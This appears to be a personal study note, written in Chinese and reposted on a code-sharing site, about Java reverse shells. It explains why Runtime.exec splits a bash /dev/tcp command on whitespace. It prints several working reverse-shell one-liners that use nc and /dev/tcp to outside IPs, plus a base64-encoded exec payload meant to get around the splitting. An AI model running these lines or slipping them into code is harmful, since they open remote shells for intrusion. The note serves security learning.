Java反彈shell小記(個人學習記錄)


前言

看到謝公子公眾號推的一篇JDWP打點,看到如下形式的反彈shell,以前有記過。
nc 192.168.178.129 3333 | /bin/bash | nc 192.168.178.129 4444%
sh -i >& /dev/tcp/101.200.xx.xx/3333 0>&1 | /bin/sh | sh -i >& /dev/tcp/101.200.xx.xx/4444 0>&1%
但是沒理解,並且再看這篇推文的時候也有疑惑為什么沒有用基礎的bash反彈shell,搜索發現使用Java反彈shell不能直接這么用,平時直接用在線生成的Java反彈shell
Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
該文僅作為個人學習記錄

理解

bash -i >& /dev/tcp/ip/port 0>&1

  1. bash -i 創建一個交互式的bash進程
  2. /dev/tcp/ip/port,linux中所有的程序都是以文件的形式存在。這句話的意思與ip:port建立了一個TCP連接。
  3. >& command >&file這種寫法也等價於command >file 2>&1。(其中2>&1表示的就是將文件描述符2重定向到文件描述符1)
  4. 0>&1 將標准輸入重定向到標准輸出

nc IP 8888 | /bin/bash | nc IP 9999

8888端口輸入命令,9999端口監聽輸出執行結果
將8888監聽到的數據作為/bin/bash重定向輸入,執行傳回來的命令,然后再將執行結果作為輸入重定向發送給監聽主機的9999端口

Java反彈shell

究其原因,為什么不能直接Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");還是因為exec的字符串分割問題
在spoock博文中有做具體分析,這里直接照搬exec的分析
在java.lang.Runtime()中存在多個重載的exec()方法,如下所示:

public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)

除了常見的exec(String command)和exec(String cmdarray[]),其他exec()都增加了envp和File這些限制。雖然如此,但是最終都是調用相同的方法,本質沒有卻區別。這些函數存在的意義可以簡要地參考調用java.lang.Runtime.exec的正確姿勢
分析exec(String cmdarray[])和exec(String command):

// exec(String command) 函數
public Process exec(String command) throws IOException {
    return exec(command, null, null);
}
...
public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}

這里有可能看到不管是public Process exec(String command)還是public Process exec(String cmdarray[])最終都調用了public Process exec(String command, String[] envp, File dir),public Process exec(String[] cmdarray, String[] envp)這樣的具體方法。
其中有一個函數StringTokenizer
StringTokenizer 通過分割符進行分割,java 默認的分隔符是空格("")、制表符(\t)、換行符(\n)、回車符(\r)
因此在傳入Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");會被拆分成如下形式
1 | 2 | 3 | 4 | 5
–|—|—|—|–
bash | -i | >& | /dev/tcp/ip/port | 0>&1
而我們執行r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});,執行到exec(cmdarray, envp, dir);時,cmdarray的參數結果是:
1 | 2 | 3
–|—|–
/bin/bash | -c | bash -i >& /dev/tcp/ip/port 0>&1
因此為了繞過空格,這里直接推薦最放便的base64寫法
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

學習文章

https://blog.spoock.com/2018/11/07/java-reverse-shell/
https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
https://paper.seebug.org/933/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM